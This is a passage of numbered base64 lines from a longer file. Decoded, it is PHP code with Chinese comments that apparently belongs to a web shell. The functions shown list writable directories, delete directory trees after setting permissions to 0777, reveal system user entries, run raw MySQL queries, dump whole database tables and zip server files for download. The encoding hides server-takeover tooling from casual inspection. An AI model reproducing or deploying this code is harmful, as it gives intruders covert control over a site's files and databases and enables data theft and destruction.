  959. ID0gc3RyaXBzbGFzaGVzKCRhcnJheSk7DQoJfQ0KCXJldHVybiAkYXJyYXk7DQp9DQoNCi8vIMfl
  960. s/1IVE1MtPrC6w0KZnVuY3Rpb24gaHRtbF9jbGVhbigkY29udGVudCkgew0KCSRjb250ZW50ID0g
  961. aHRtbHNwZWNpYWxjaGFycygkY29udGVudCk7DQoJJGNvbnRlbnQgPSBzdHJfcmVwbGFjZSgiXG4i
  962. LCAiPGJyIC8+IiwgJGNvbnRlbnQpOw0KCSRjb250ZW50ID0gc3RyX3JlcGxhY2UoIiAgIiwgIiZu
  963. YnNwOyZuYnNwOyIsICRjb250ZW50KTsNCgkkY29udGVudCA9IHN0cl9yZXBsYWNlKCJcdCIsICIm
  964. bmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsiLCAkY29udGVudCk7DQoJcmV0dXJuICRjb250ZW50Ow0K
  965. fQ0KDQovLyC78cihyKjP3g0KZnVuY3Rpb24gZ2V0Q2htb2QoJGZpbGVwYXRoKXsNCglyZXR1cm4g
  966. c3Vic3RyKGJhc2VfY29udmVydChAZmlsZXBlcm1zKCRmaWxlcGF0aCksMTAsOCksLTQpOw0KfQ0K
  967. DQpmdW5jdGlvbiBnZXRQZXJtcygkZmlsZXBhdGgpIHsNCgkkbW9kZSA9IEBmaWxlcGVybXMoJGZp
  968. bGVwYXRoKTsNCglpZiAoKCRtb2RlICYgMHhDMDAwKSA9PT0gMHhDMDAwKSB7JHR5cGUgPSAncyc7
  969. fQ0KCWVsc2VpZiAoKCRtb2RlICYgMHg0MDAwKSA9PT0gMHg0MDAwKSB7JHR5cGUgPSAnZCc7fQ0K
  970. CWVsc2VpZiAoKCRtb2RlICYgMHhBMDAwKSA9PT0gMHhBMDAwKSB7JHR5cGUgPSAnbCc7fQ0KCWVs
  971. c2VpZiAoKCRtb2RlICYgMHg4MDAwKSA9PT0gMHg4MDAwKSB7JHR5cGUgPSAnLSc7fSANCgllbHNl
  972. aWYgKCgkbW9kZSAmIDB4NjAwMCkgPT09IDB4NjAwMCkgeyR0eXBlID0gJ2InO30NCgllbHNlaWYg
  973. KCgkbW9kZSAmIDB4MjAwMCkgPT09IDB4MjAwMCkgeyR0eXBlID0gJ2MnO30NCgllbHNlaWYgKCgk
  974. bW9kZSAmIDB4MTAwMCkgPT09IDB4MTAwMCkgeyR0eXBlID0gJ3AnO30NCgllbHNlIHskdHlwZSA9
  975. ICc/Jzt9DQoNCgkkb3duZXJbJ3JlYWQnXSA9ICgkbW9kZSAmIDAwNDAwKSA/ICdyJyA6ICctJzsg
  976. DQoJJG93bmVyWyd3cml0ZSddID0gKCRtb2RlICYgMDAyMDApID8gJ3cnIDogJy0nOyANCgkkb3du
  977. ZXJbJ2V4ZWN1dGUnXSA9ICgkbW9kZSAmIDAwMTAwKSA/ICd4JyA6ICctJzsgDQoJJGdyb3VwWydy
  978. ZWFkJ10gPSAoJG1vZGUgJiAwMDA0MCkgPyAncicgOiAnLSc7IA0KCSRncm91cFsnd3JpdGUnXSA9
  979. ICgkbW9kZSAmIDAwMDIwKSA/ICd3JyA6ICctJzsgDQoJJGdyb3VwWydleGVjdXRlJ10gPSAoJG1v
  980. ZGUgJiAwMDAxMCkgPyAneCcgOiAnLSc7IA0KCSR3b3JsZFsncmVhZCddID0gKCRtb2RlICYgMDAw
  981. MDQpID8gJ3InIDogJy0nOyANCgkkd29ybGRbJ3dyaXRlJ10gPSAoJG1vZGUgJiAwMDAwMikgPyAn
  982. dycgOiAnLSc7IA0KCSR3b3JsZFsnZXhlY3V0ZSddID0gKCRtb2RlICYgMDAwMDEpID8gJ3gnIDog
  983. Jy0nOyANCg0KCWlmKCAkbW9kZSAmIDB4ODAwICkgeyRvd25lclsnZXhlY3V0ZSddID0gKCRvd25l
  984. clsnZXhlY3V0ZSddPT0neCcpID8gJ3MnIDogJ1MnO30NCglpZiggJG1vZGUgJiAweDQwMCApIHsk
  985. Z3JvdXBbJ2V4ZWN1dGUnXSA9ICgkZ3JvdXBbJ2V4ZWN1dGUnXT09J3gnKSA/ICdzJyA6ICdTJzt9
  986. DQoJaWYoICRtb2RlICYgMHgyMDAgKSB7JHdvcmxkWydleGVjdXRlJ10gPSAoJHdvcmxkWydleGVj
  987. dXRlJ109PSd4JykgPyAndCcgOiAnVCc7fQ0KIA0KCXJldHVybiAkdHlwZS4kb3duZXJbJ3JlYWQn
  988. XS4kb3duZXJbJ3dyaXRlJ10uJG93bmVyWydleGVjdXRlJ10uJGdyb3VwWydyZWFkJ10uJGdyb3Vw
  989. Wyd3cml0ZSddLiRncm91cFsnZXhlY3V0ZSddLiR3b3JsZFsncmVhZCddLiR3b3JsZFsnd3JpdGUn
  990. XS4kd29ybGRbJ2V4ZWN1dGUnXTsNCn0NCg0KZnVuY3Rpb24gZ2V0VXNlcigkZmlsZXBhdGgpCXsN
  991. CglpZiAoZnVuY3Rpb25fZXhpc3RzKCdwb3NpeF9nZXRwd3VpZCcpKSB7DQoJCSRhcnJheSA9IEBw
  992. b3NpeF9nZXRwd3VpZChAZmlsZW93bmVyKCRmaWxlcGF0aCkpOw0KCQlpZiAoJGFycmF5ICYmIGlz
  993. X2FycmF5KCRhcnJheSkpIHsNCgkJCXJldHVybiAnIC8gPGEgaHJlZj0iIyIgdGl0bGU9IlVzZXI6
  994. ICcuJGFycmF5WyduYW1lJ10uJyYjMTMmIzEwUGFzc3dkOiAnLiRhcnJheVsncGFzc3dkJ10uJyYj
  995. MTMmIzEwVWlkOiAnLiRhcnJheVsndWlkJ10uJyYjMTMmIzEwZ2lkOiAnLiRhcnJheVsnZ2lkJ10u
  996. JyYjMTMmIzEwR2Vjb3M6ICcuJGFycmF5WydnZWNvcyddLicmIzEzJiMxMERpcjogJy4kYXJyYXlb
  997. J2RpciddLicmIzEzJiMxMFNoZWxsOiAnLiRhcnJheVsnc2hlbGwnXS4nIj4nLiRhcnJheVsnbmFt
  998. ZSddLic8L2E+JzsNCgkJfQ0KCX0NCglyZXR1cm4gJyc7DQp9DQoNCi8vIMm+s/3Ev8K8DQpmdW5j
  999. dGlvbiBkZWx0cmVlKCRkZWxkaXIpIHsNCgkkbXlkaXI9QGRpcigkZGVsZGlyKTsJDQoJd2hpbGUo
  1000. JGZpbGU9JG15ZGlyLT5yZWFkKCkpCXsgCQkNCgkJaWYoKGlzX2RpcigkZGVsZGlyLicvJy4kZmls
  1001. ZSkpICYmICgkZmlsZSE9Jy4nKSAmJiAoJGZpbGUhPScuLicpKSB7IA0KCQkJQGNobW9kKCRkZWxk
  1002. aXIuJy8nLiRmaWxlLDA3NzcpOw0KCQkJZGVsdHJlZSgkZGVsZGlyLicvJy4kZmlsZSk7IA0KCQl9
  1003. DQoJCWlmIChpc19maWxlKCRkZWxkaXIuJy8nLiRmaWxlKSkgew0KCQkJQGNobW9kKCRkZWxkaXIu
  1004. Jy8nLiRmaWxlLDA3NzcpOw0KCQkJQHVubGluaygkZGVsZGlyLicvJy4kZmlsZSk7DQoJCX0NCgl9
  1005. IA0KCSRteWRpci0+Y2xvc2UoKTsgDQoJQGNobW9kKCRkZWxkaXIsMDc3Nyk7DQoJcmV0dXJuIEBy
  1006. bWRpcigkZGVsZGlyKSA/IDEgOiAwOw0KfQ0KDQovLyCx7bjx0NC85LXEsbO+sMmrzOa7uw0KZnVu
  1007. Y3Rpb24gYmcoKSB7DQoJZ2xvYmFsICRiZ2M7DQoJcmV0dXJuICgkYmdjKyslMj09MCkgPyAnYWx0
  1008. MScgOiAnYWx0Mic7DQp9DQoNCi8vILvxyKG1scewtcTOxLz+z7XNs8K3vrYNCmZ1bmN0aW9uIGdl
  1009. dFBhdGgoJHNjcmlwdHBhdGgsICRub3dwYXRoKSB7DQoJaWYgKCRub3dwYXRoID09ICcuJykgew0K
  1010. CQkkbm93cGF0aCA9ICRzY3JpcHRwYXRoOw0KCX0NCgkkbm93cGF0aCA9IHN0cl9yZXBsYWNlKCdc
  1011. XCcsICcvJywgJG5vd3BhdGgpOw0KCSRub3dwYXRoID0gc3RyX3JlcGxhY2UoJy8vJywgJy8nLCAk
  1012. bm93cGF0aCk7DQoJaWYgKHN1YnN0cigkbm93cGF0aCwgLTEpICE9ICcvJykgew0KCQkkbm93cGF0
  1013. aCA9ICRub3dwYXRoLicvJzsNCgl9DQoJcmV0dXJuICRub3dwYXRoOw0KfQ0KDQovLyC78cihtbHH
  1014. sMS/wry1xMnPvLbEv8K8DQpmdW5jdGlvbiBnZXRVcFBhdGgoJG5vd3BhdGgpIHsNCgkkcGF0aGRi
  1015. ID0gZXhwbG9kZSgnLycsICRub3dwYXRoKTsNCgkkbnVtID0gY291bnQoJHBhdGhkYik7DQoJaWYg
  1016. KCRudW0gPiAyKSB7DQoJCXVuc2V0KCRwYXRoZGJbJG51bS0xXSwkcGF0aGRiWyRudW0tMl0pOw0K
  1017. CX0NCgkkdXBwYXRoID0gaW1wbG9kZSgnLycsICRwYXRoZGIpLicvJzsNCgkkdXBwYXRoID0gc3Ry
  1018. X3JlcGxhY2UoJy8vJywgJy8nLCAkdXBwYXRoKTsNCglyZXR1cm4gJHVwcGF0aDsNCn0NCg0KLy8g
  1019. vOyy6VBIUMXk1sOyzsr9DQpmdW5jdGlvbiBnZXRjZmcoJHZhcm5hbWUpIHsNCgkkcmVzdWx0ID0g
  1020. Z2V0X2NmZ192YXIoJHZhcm5hbWUpOw0KCWlmICgkcmVzdWx0ID09IDApIHsNCgkJcmV0dXJuICdO
  1021. byc7DQoJfSBlbHNlaWYgKCRyZXN1bHQgPT0gMSkgew0KCQlyZXR1cm4gJ1llcyc7DQoJfSBlbHNl
  1022. IHsNCgkJcmV0dXJuICRyZXN1bHQ7DQoJfQ0KfQ0KDQovLyC87LLpuq/K/cfpv/YNCmZ1bmN0aW9u
  1023. IGdldGZ1bigkZnVuTmFtZSkgew0KCXJldHVybiAoZmFsc2UgIT09IGZ1bmN0aW9uX2V4aXN0cygk
  1024. ZnVuTmFtZSkpID8gJ1llcycgOiAnTm8nOw0KfQ0KDQpmdW5jdGlvbiBHZXRMaXN0KCRkaXIpew0K
  1025. CWdsb2JhbCAkZGlyZGF0YSwkaiwkbm93cGF0aDsNCgkhJGogJiYgJGo9MTsNCglpZiAoJGRoID0g
  1026. b3BlbmRpcigkZGlyKSkgew0KCQl3aGlsZSAoJGZpbGUgPSByZWFkZGlyKCRkaCkpIHsNCgkJCSRm
  1027. PXN0cl9yZXBsYWNlKCcvLycsJy8nLCRkaXIuJy8nLiRmaWxlKTsNCgkJCWlmKCRmaWxlIT0nLicg
  1028. JiYgJGZpbGUhPScuLicgJiYgaXNfZGlyKCRmKSl7DQoJCQkJaWYgKGlzX3dyaXRhYmxlKCRmKSkg
  1029. ew0KCQkJCQkkZGlyZGF0YVskal1bJ2ZpbGVuYW1lJ109c3RyX3JlcGxhY2UoJG5vd3BhdGgsJycs
  1030. JGYpOw0KCQkJCQkkZGlyZGF0YVskal1bJ210aW1lJ109QGRhdGUoJ1ktbS1kIEg6aTpzJyxmaWxl
  1031. bXRpbWUoJGYpKTsNCgkJCQkJJGRpcmRhdGFbJGpdWydkaXJjaG1vZCddPWdldENobW9kKCRmKTsN
  1032. CgkJCQkJJGRpcmRhdGFbJGpdWydkaXJwZXJtJ109Z2V0UGVybXMoJGYpOw0KCQkJCQkkZGlyZGF0
  1033. YVskal1bJ2RpcmxpbmsnXT11ZSgkZGlyKTsNCgkJCQkJJGRpcmRhdGFbJGpdWydzZXJ2ZXJfbGlu
  1034. ayddPSRmOw0KCQkJCQkkZGlyZGF0YVskal1bJ2NsaWVudF9saW5rJ109dWUoJGYpOw0KCQkJCQkk
  1035. aisrOw0KCQkJCX0NCgkJCQlHZXRMaXN0KCRmKTsNCgkJCX0NCgkJfQ0KCQljbG9zZWRpcigkZGgp
  1036. Ow0KCQljbGVhcnN0YXRjYWNoZSgpOw0KCQlyZXR1cm4gJGRpcmRhdGE7DQoJfSBlbHNlIHsNCgkJ
  1037. cmV0dXJuIGFycmF5KCk7DQoJfQ0KfQ0KDQpmdW5jdGlvbiBxeSgkc3FsKSB7IA0KCS8vZWNobyAk
  1038. c3FsLic8YnI+JzsNCgkkcmVzID0gJGVycm9yID0gJyc7DQoJaWYoISRyZXMgPSBAbXlzcWxfcXVl
  1039. cnkoJHNxbCkpIHsgDQoJCXJldHVybiAwOw0KCX0gZWxzZSBpZihpc19yZXNvdXJjZSgkcmVzKSkg
  1040. ew0KCQlyZXR1cm4gMTsgDQoJfSBlbHNlIHsNCgkJcmV0dXJuIDI7DQoJfQkNCglyZXR1cm4gMDsN
  1041. Cn0NCg0KZnVuY3Rpb24gcSgkc3FsKSB7IA0KCXJldHVybiBAbXlzcWxfcXVlcnkoJHNxbCk7DQp9
  1042. DQoNCmZ1bmN0aW9uIGZyKCRxeSl7DQoJbXlzcWxfZnJlZV9yZXN1bHQoJHF5KTsNCn0NCg0KZnVu
  1043. Y3Rpb24gc2l6ZWNvdW50KCRzaXplKSB7DQoJaWYoJHNpemUgPiAxMDczNzQxODI0KSB7DQoJCSRz
  1044. aXplID0gcm91bmQoJHNpemUgLyAxMDczNzQxODI0ICogMTAwKSAvIDEwMCAuICcgRyc7DQoJfSBl
  1045. bHNlaWYoJHNpemUgPiAxMDQ4NTc2KSB7DQoJCSRzaXplID0gcm91bmQoJHNpemUgLyAxMDQ4NTc2
  1046. ICogMTAwKSAvIDEwMCAuICcgTSc7DQoJfSBlbHNlaWYoJHNpemUgPiAxMDI0KSB7DQoJCSRzaXpl
  1047. ID0gcm91bmQoJHNpemUgLyAxMDI0ICogMTAwKSAvIDEwMCAuICcgSyc7DQoJfSBlbHNlIHsNCgkJ
  1048. JHNpemUgPSAkc2l6ZSAuICcgQic7DQoJfQ0KCXJldHVybiAkc2l6ZTsNCn0NCg0KLy8g0bnL9bTy
  1049. sPzA4A0KY2xhc3MgUEhQWmlwew0KCXZhciAkb3V0PScnOw0KCWZ1bmN0aW9uIFBIUFppcCgkZGly
  1050. KQl7DQoJCWlmIChAZnVuY3Rpb25fZXhpc3RzKCdnemNvbXByZXNzJykpCXsNCgkJCSRjdXJkaXIg
  1051. PSBnZXRjd2QoKTsNCgkJCWlmIChpc19hcnJheSgkZGlyKSkgJGZpbGVsaXN0ID0gJGRpcjsNCgkJ
  1052. CWVsc2V7DQoJCQkJJGZpbGVsaXN0PSR0aGlzIC0+IEdldEZpbGVMaXN0KCRkaXIpOy8vzsS8/sHQ
  1053. se0NCgkJCQlmb3JlYWNoKCRmaWxlbGlzdCBhcyAkaz0+JHYpICRmaWxlbGlzdFtdPXN1YnN0cigk
  1054. dixzdHJsZW4oJGRpcikrMSk7DQoJCQl9DQoJCQlpZiAoKCFlbXB0eSgkZGlyKSkmJighaXNfYXJy
  1055. YXkoJGRpcikpJiYoZmlsZV9leGlzdHMoJGRpcikpKSBjaGRpcigkZGlyKTsNCgkJCWVsc2UgY2hk
  1056. aXIoJGN1cmRpcik7DQoJCQlpZiAoY291bnQoJGZpbGVsaXN0KT4wKXsNCgkJCQlmb3JlYWNoKCRm
  1057. aWxlbGlzdCBhcyAkZmlsZW5hbWUpew0KCQkJCQlpZiAoaXNfZmlsZSgkZmlsZW5hbWUpKXsNCgkJ
  1058. CQkJCSRmZCA9IGZvcGVuICgkZmlsZW5hbWUsICdyJyk7DQoJCQkJCQkkY29udGVudCA9IEBmcmVh
  1059. ZCAoJGZkLCBmaWxlc2l6ZSgkZmlsZW5hbWUpKTsNCgkJCQkJCWZjbG9zZSAoJGZkKTsNCgkJCQkJ
  1060. CWlmIChpc19hcnJheSgkZGlyKSkgJGZpbGVuYW1lID0gYmFzZW5hbWUoJGZpbGVuYW1lKTsNCgkJ
  1061. CQkJCSR0aGlzIC0+IGFkZEZpbGUoJGNvbnRlbnQsICRmaWxlbmFtZSk7DQoJCQkJCX0NCgkJCQl9
  1062. DQoJCQkJJHRoaXMtPm91dCA9ICR0aGlzIC0+IGZpbGUoKTsNCgkJCQljaGRpcigkY3VyZGlyKTsN
  1063. CgkJCX0NCgkJCXJldHVybiAxOw0KCQl9DQoJCWVsc2UgcmV0dXJuIDA7DQoJfQ0KDQoJLy8gu/G1
  1064. w9a4tqjEv8K8zsS8/sHQse0NCglmdW5jdGlvbiBHZXRGaWxlTGlzdCgkZGlyKXsNCgkJc3RhdGlj
  1065. ICRhOw0KCQlpZiAoaXNfZGlyKCRkaXIpKSB7DQoJCQlpZiAoJGRoID0gb3BlbmRpcigkZGlyKSkg
  1066. ew0KCQkJCXdoaWxlICgkZmlsZSA9IHJlYWRkaXIoJGRoKSkgew0KCQkJCQlpZigkZmlsZSE9Jy4n
  1067. ICYmICRmaWxlIT0nLi4nKXsNCgkJCQkJCSRmPSRkaXIgLicvJy4gJGZpbGU7DQoJCQkJCQlpZihp
  1068. c19kaXIoJGYpKSAkdGhpcy0+R2V0RmlsZUxpc3QoJGYpOw0KCQkJCQkJJGFbXT0kZjsNCgkJCQkJ
  1069. fQ0KCQkJCX0NCgkJCQljbG9zZWRpcigkZGgpOw0KCQkJfQ0KCQl9DQoJCXJldHVybiAkYTsNCgl9
  1070. DQoNCgl2YXIgJGRhdGFzZWMgICAgICA9IGFycmF5KCk7DQoJdmFyICRjdHJsX2RpciAgICAgPSBh
  1071. cnJheSgpOw0KCXZhciAkZW9mX2N0cmxfZGlyID0gIlx4NTBceDRiXHgwNVx4MDZceDAwXHgwMFx4
  1072. MDBceDAwIjsNCgl2YXIgJG9sZF9vZmZzZXQgICA9IDA7DQoNCglmdW5jdGlvbiB1bml4MkRvc1Rp
  1073. bWUoJHVuaXh0aW1lID0gMCkgew0KCQkkdGltZWFycmF5ID0gKCR1bml4dGltZSA9PSAwKSA/IGdl
  1074. dGRhdGUoKSA6IGdldGRhdGUoJHVuaXh0aW1lKTsNCgkJaWYgKCR0aW1lYXJyYXlbJ3llYXInXSA8
  1075. IDE5ODApIHsNCgkJCSR0aW1lYXJyYXlbJ3llYXInXSAgICA9IDE5ODA7DQoJCQkkdGltZWFycmF5
  1076. Wydtb24nXSAgICAgPSAxOw0KCQkJJHRpbWVhcnJheVsnbWRheSddICAgID0gMTsNCgkJCSR0aW1l
  1077. YXJyYXlbJ2hvdXJzJ10gICA9IDA7DQoJCQkkdGltZWFycmF5WydtaW51dGVzJ10gPSAwOw0KCQkJ
  1078. JHRpbWVhcnJheVsnc2Vjb25kcyddID0gMDsNCgkJfSAvLyBlbmQgaWYNCgkJcmV0dXJuICgoJHRp
  1079. bWVhcnJheVsneWVhciddIC0gMTk4MCkgPDwgMjUpIHwgKCR0aW1lYXJyYXlbJ21vbiddIDw8IDIx
  1080. KSB8ICgkdGltZWFycmF5WydtZGF5J10gPDwgMTYpIHwNCgkJCQkoJHRpbWVhcnJheVsnaG91cnMn
  1081. XSA8PCAxMSkgfCAoJHRpbWVhcnJheVsnbWludXRlcyddIDw8IDUpIHwgKCR0aW1lYXJyYXlbJ3Nl
  1082. Y29uZHMnXSA+PiAxKTsNCgl9DQoNCglmdW5jdGlvbiBhZGRGaWxlKCRkYXRhLCAkbmFtZSwgJHRp
  1083. bWUgPSAwKSB7DQoJCSRuYW1lID0gc3RyX3JlcGxhY2UoJ1xcJywgJy8nLCAkbmFtZSk7DQoNCgkJ
  1084. JGR0aW1lID0gZGVjaGV4KCR0aGlzLT51bml4MkRvc1RpbWUoJHRpbWUpKTsNCgkJJGhleGR0aW1l
  1085. CT0gJ1x4JyAuICRkdGltZVs2XSAuICRkdGltZVs3XQ0KCQkJCQkuICdceCcgLiAkZHRpbWVbNF0g
  1086. LiAkZHRpbWVbNV0NCgkJCQkJLiAnXHgnIC4gJGR0aW1lWzJdIC4gJGR0aW1lWzNdDQoJCQkJCS4g
  1087. J1x4JyAuICRkdGltZVswXSAuICRkdGltZVsxXTsNCgkJZXZhbCgnJGhleGR0aW1lID0gIicgLiAk
  1088. aGV4ZHRpbWUgLiAnIjsnKTsNCgkJJGZyCT0gIlx4NTBceDRiXHgwM1x4MDQiOw0KCQkkZnIJLj0g
  1089. Ilx4MTRceDAwIjsNCgkJJGZyCS49ICJceDAwXHgwMCI7DQoJCSRmcgkuPSAiXHgwOFx4MDAiOw0K
  1090. CQkkZnIJLj0gJGhleGR0aW1lOw0KDQoJCSR1bmNfbGVuID0gc3RybGVuKCRkYXRhKTsNCgkJJGNy
  1091. YyA9IGNyYzMyKCRkYXRhKTsNCgkJJHpkYXRhID0gZ3pjb21wcmVzcygkZGF0YSk7DQoJCSRjX2xl
  1092. biA9IHN0cmxlbigkemRhdGEpOw0KCQkkemRhdGEgPSBzdWJzdHIoc3Vic3RyKCR6ZGF0YSwgMCwg
  1093. c3RybGVuKCR6ZGF0YSkgLSA0KSwgMik7DQoJCSRmciAuPSBwYWNrKCdWJywgJGNyYyk7DQoJCSRm
  1094. ciAuPSBwYWNrKCdWJywgJGNfbGVuKTsNCgkJJGZyIC49IHBhY2soJ1YnLCAkdW5jX2xlbik7DQoJ
  1095. CSRmciAuPSBwYWNrKCd2Jywgc3RybGVuKCRuYW1lKSk7DQoJCSRmciAuPSBwYWNrKCd2JywgMCk7
  1096. DQoJCSRmciAuPSAkbmFtZTsNCgkJJGZyIC49ICR6ZGF0YTsNCgkJJGZyIC49IHBhY2soJ1YnLCAk
  1097. Y3JjKTsNCgkJJGZyIC49IHBhY2soJ1YnLCAkY19sZW4pOw0KCQkkZnIgLj0gcGFjaygnVicsICR1
  1098. bmNfbGVuKTsNCg0KCQkkdGhpcyAtPiBkYXRhc2VjW10gPSAkZnI7DQoJCSRuZXdfb2Zmc2V0ID0g
  1099. c3RybGVuKGltcGxvZGUoJycsICR0aGlzLT5kYXRhc2VjKSk7DQoNCgkJJGNkcmVjID0gIlx4NTBc
  1100. eDRiXHgwMVx4MDIiOw0KCQkkY2RyZWMgLj0gIlx4MDBceDAwIjsNCgkJJGNkcmVjIC49ICJceDE0
  1101. XHgwMCI7DQoJCSRjZHJlYyAuPSAiXHgwMFx4MDAiOw0KCQkkY2RyZWMgLj0gIlx4MDhceDAwIjsN
  1102. CgkJJGNkcmVjIC49ICRoZXhkdGltZTsNCgkJJGNkcmVjIC49IHBhY2soJ1YnLCAkY3JjKTsNCgkJ
  1103. JGNkcmVjIC49IHBhY2soJ1YnLCAkY19sZW4pOw0KCQkkY2RyZWMgLj0gcGFjaygnVicsICR1bmNf
  1104. bGVuKTsNCgkJJGNkcmVjIC49IHBhY2soJ3YnLCBzdHJsZW4oJG5hbWUpICk7DQoJCSRjZHJlYyAu
  1105. PSBwYWNrKCd2JywgMCApOw0KCQkkY2RyZWMgLj0gcGFjaygndicsIDAgKTsNCgkJJGNkcmVjIC49
  1106. IHBhY2soJ3YnLCAwICk7DQoJCSRjZHJlYyAuPSBwYWNrKCd2JywgMCApOw0KCQkkY2RyZWMgLj0g
  1107. cGFjaygnVicsIDMyICk7DQoJCSRjZHJlYyAuPSBwYWNrKCdWJywgJHRoaXMgLT4gb2xkX29mZnNl
  1108. dCApOw0KCQkkdGhpcyAtPiBvbGRfb2Zmc2V0ID0gJG5ld19vZmZzZXQ7DQoJCSRjZHJlYyAuPSAk
  1109. bmFtZTsNCg0KCQkkdGhpcyAtPiBjdHJsX2RpcltdID0gJGNkcmVjOw0KCX0NCg0KCWZ1bmN0aW9u
  1110. IGZpbGUoKSB7DQoJCSRkYXRhICAgID0gaW1wbG9kZSgnJywgJHRoaXMgLT4gZGF0YXNlYyk7DQoJ
  1111. CSRjdHJsZGlyID0gaW1wbG9kZSgnJywgJHRoaXMgLT4gY3RybF9kaXIpOw0KCQlyZXR1cm4gJGRh
  1112. dGEgLiAkY3RybGRpciAuICR0aGlzIC0+IGVvZl9jdHJsX2RpciAuIHBhY2soJ3YnLCBzaXplb2Yo
  1113. JHRoaXMgLT4gY3RybF9kaXIpKSAuIHBhY2soJ3YnLCBzaXplb2YoJHRoaXMgLT4gY3RybF9kaXIp
  1114. KSAuCXBhY2soJ1YnLCBzdHJsZW4oJGN0cmxkaXIpKSAuIHBhY2soJ1YnLCBzdHJsZW4oJGRhdGEp
  1115. KSAuICJceDAwXHgwMCI7DQoJfQ0KfQ0KDQovLyCxuLfdyv2+3b/iDQpmdW5jdGlvbiBzcWxkdW1w
  1116. dGFibGUoJHRhYmxlLCAkZnA9MCkgew0KCSR0YWJsZWR1bXAgPSAiRFJPUCBUQUJMRSBJRiBFWElT
  1117. VFMgJHRhYmxlO1xuIjsNCgkkdGFibGVkdW1wIC49ICJDUkVBVEUgVEFCTEUgJHRhYmxlIChcbiI7
  1118. DQoNCgkkZmlyc3RmaWVsZD0xOw0KDQoJJGZpZWxkcyA9IHEoIlNIT1cgRklFTERTIEZST00gJHRh
  1119. YmxlIik7DQoJd2hpbGUgKCRmaWVsZCA9IG15c3FsX2ZldGNoX2FycmF5KCRmaWVsZHMpKSB7DQoJ
  1120. CWlmICghJGZpcnN0ZmllbGQpIHsNCgkJCSR0YWJsZWR1bXAgLj0gIixcbiI7DQoJCX0gZWxzZSB7
  1121. DQoJCQkkZmlyc3RmaWVsZD0wOw0KCQl9DQoJCSR0YWJsZWR1bXAgLj0gIiAgICRmaWVsZFtGaWVs
  1122. ZF0gJGZpZWxkW1R5cGVdIjsNCgkJaWYgKCFlbXB0eSgkZmllbGRbIkRlZmF1bHQiXSkpIHsNCgkJ
  1123. CSR0YWJsZWR1bXAgLj0gIiBERUZBVUxUICckZmllbGRbRGVmYXVsdF0nIjsNCgkJfQ0KCQlpZiAo
  1124. JGZpZWxkWydOdWxsJ10gIT0gIllFUyIpIHsNCgkJCSR0YWJsZWR1bXAgLj0gIiBOT1QgTlVMTCI7
  1125. DQoJCX0NCgkJaWYgKCRmaWVsZFsnRXh0cmEnXSAhPSAiIikgew0KCQkJJHRhYmxlZHVtcCAuPSAi
  1126. ICRmaWVsZFtFeHRyYV0iOw0KCQl9DQoJfQ0KCWZyKCRmaWVsZHMpOw0KDQoJJGtleXMgPSBxKCJT
  1127. SE9XIEtFWVMgRlJPTSAkdGFibGUiKTsNCgl3aGlsZSAoJGtleSA9IG15c3FsX2ZldGNoX2FycmF5
  1128. KCRrZXlzKSkgew0KCQkka25hbWU9JGtleVsnS2V5X25hbWUnXTsNCgkJaWYgKCRrbmFtZSAhPSAi
  1129. UFJJTUFSWSIgJiYgJGtleVsnTm9uX3VuaXF1ZSddID09IDApIHsNCgkJCSRrbmFtZT0iVU5JUVVF
  1130. fCRrbmFtZSI7DQoJCX0NCgkJaWYoIWlzX2FycmF5KCRpbmRleFska25hbWVdKSkgew0KCQkJJGlu
  1131. ZGV4WyRrbmFtZV0gPSBhcnJheSgpOw0KCQl9DQoJCSRpbmRleFska25hbWVdW10gPSAka2V5WydD
  1132. b2x1bW5fbmFtZSddOw0KCX0NCglmcigka2V5cyk7DQoNCgl3aGlsZShsaXN0KCRrbmFtZSwgJGNv
  1133. bHVtbnMpID0gQGVhY2goJGluZGV4KSkgew0KCQkkdGFibGVkdW1wIC49ICIsXG4iOw0KCQkkY29s
  1134. bmFtZXM9aW1wbG9kZSgkY29sdW1ucywiLCIpOw0KDQoJCWlmICgka25hbWUgPT0gIlBSSU1BUlki
  1135. KSB7DQoJCQkkdGFibGVkdW1wIC49ICIgICBQUklNQVJZIEtFWSAoJGNvbG5hbWVzKSI7DQoJCX0g
  1136. ZWxzZSB7DQoJCQlpZiAoc3Vic3RyKCRrbmFtZSwwLDYpID09ICJVTklRVUUiKSB7DQoJCQkJJGtu
  1137. YW1lPXN1YnN0cigka25hbWUsNyk7DQoJCQl9DQoJCQkkdGFibGVkdW1wIC49ICIgICBLRVkgJGtu
  1138. YW1lICgkY29sbmFtZXMpIjsNCgkJfQ0KCX0NCg0KCSR0YWJsZWR1bXAgLj0gIlxuKTtcblxuIjsN
  1139. CglpZiAoJGZwKSB7DQoJCWZ3cml0ZSgkZnAsJHRhYmxlZHVtcCk7DQoJfSBlbHNlIHsNCgkJZWNo
  1140. byAkdGFibGVkdW1wOw0KCX0NCg0KCSRyb3dzID0gcSgiU0VMRUNUICogRlJPTSAkdGFibGUiKTsN
  1141. CgkkbnVtZmllbGRzID0gbXlzcWxfbnVtX2ZpZWxkcygkcm93cyk7DQoJd2hpbGUgKCRyb3cgPSBt
  1142. eXNxbF9mZXRjaF9hcnJheSgkcm93cykpIHsNCgkJJHRhYmxlZHVtcCA9ICJJTlNFUlQgSU5UTyAk
  1143. dGFibGUgVkFMVUVTKCI7DQoNCgkJJGZpZWxkY291bnRlcj0tMTsNCgkJJGZpcnN0ZmllbGQ9MTsN
  1144. CgkJd2hpbGUgKCsrJGZpZWxkY291bnRlcjwkbnVtZmllbGRzKSB7DQoJCQlpZiAoISRmaXJzdGZp
  1145. ZWxkKSB7DQoJCQkJJHRhYmxlZHVtcC49IiwgIjsNCgkJCX0gZWxzZSB7DQoJCQkJJGZpcnN0Zmll
  1146. bGQ9MDsNCgkJCX0NCg0KCQkJaWYgKCFpc3NldCgkcm93WyRmaWVsZGNvdW50ZXJdKSkgew0KCQkJ
  1147. CSR0YWJsZWR1bXAgLj0gIk5VTEwiOw0KCQkJfSBlbHNlIHsNCgkJCQkkdGFibGVkdW1wIC49ICIn
  1148. Ii5teXNxbF9lc2NhcGVfc3RyaW5nKCRyb3dbJGZpZWxkY291bnRlcl0pLiInIjsNCgkJCX0NCgkJ
  1149. fQ0KDQoJCSR0YWJsZWR1bXAgLj0gIik7XG4iOw0KDQoJCWlmICgkZnApIHsNCgkJCWZ3cml0ZSgk
  1150. ZnAsJHRhYmxlZHVtcCk7DQoJCX0gZWxzZSB7DQoJCQllY2hvICR0YWJsZWR1bXA7DQoJCX0NCgl9
